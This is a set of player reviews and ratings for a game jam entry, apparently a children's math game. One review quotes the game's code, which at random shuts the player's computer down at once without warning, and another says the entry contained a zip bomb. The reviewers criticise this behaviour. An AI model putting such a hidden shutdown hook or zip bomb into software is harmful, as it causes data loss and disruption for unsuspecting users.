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Fun 1 Prod 3 Inno 2


What the heck were you thinking shutting down my computer!? And this was a random choice!!! Please do not do such things without warning.

a = random.randint(0, 1)
if a == 0:
sound_file = '135831__davidbain__end-game-fail.wav'
self.sound = QtMultimedia.QSound(sound_file, self)
q = QMessageBox()
q.setWindowTitle('I will shutdown the computer!')
q.setText('🐀🐂🐅🐇🐉🐍🐎Hey, son, choose the wrong one!!!!!!!🐑🐒🐓🐕🐖')
import os
os.system('shutdown /s /t 0')

Fun 2 Prod 3 Inno 4


I need to work on my math skills :) I like the concept here. The screen resolution requirements were a bit restrictive for me trying to run from a laptop without a second screen :)

Disqualify Fun 2 Prod 3 Inno 2


The text effect was nice but overall a short, tedious math game.

Voting to disqualify since I couldn't make any connection to cops.

Fun 2 Prod 1 Inno 3


Looooooooooong intro.

Fun 1 Prod 2 Inno 3


you not only made it hard to rate you, as you broke the pyweek CLI with the emojies in the Entry titel, but also commited a zip bomb and how dare you shut down others computers.

With this out the i can give some constructive feedback, with so many Equations on the Screen one would fall into Analysis paralysis. I think a better format would have been to only show 3 equations each time with one right, otherwise you will learn it the wrong way around, you have to click, but on an harsher timer.

Did not work


I installed PyQT5 and tried to run, but I got the following error:

(venv) $ python
Traceback (most recent call last):
File "", line 43, in <module>
from PyQt5 import QtMultimedia
ImportError: cannot open shared object file: No such file or directory

Did not work


Make a read me file outside of the code, i could not open the .py to see wich libary i needed.

Disqualify Fun 1 Prod 1 Inno 1



Fun 1 Prod 2 Inno 1


Creating learning games for kids is hard. It has to be fun and educative, challenging yet fitting for the designated age.
Slamming a wall of simple calculations in ones face is neither fun nor educative. It's plain boring. Just a single calculation at once or maybe 4-5 to decide which one is the correct one would have worked much better. Also the system shutdown when hitting two wrong answers isn't really a good choice. You want your kids to learn, so better explain why the selected answer was wrong rather than just punish them.

Fun 5 Prod 5 Inno 3


amazing game. the wall of math equations paired with the endless ticking of the clock... The seemingly random particles that form into text that shows the level number... the message to your son.... and finally the sweet taste of victory as you beat each level and triumphant music ensues...

If this game doesn't deserve full marks, I do not know what will. It was a very enjoyable experience though it did shock me at first when things started flying around my desktop.

Fun 1 Prod 2 Inno 1


I've played this on three different computers, and they all sadly suffer from issues where the screen resolution is wrong and it renders the correct answer outside of the playable area.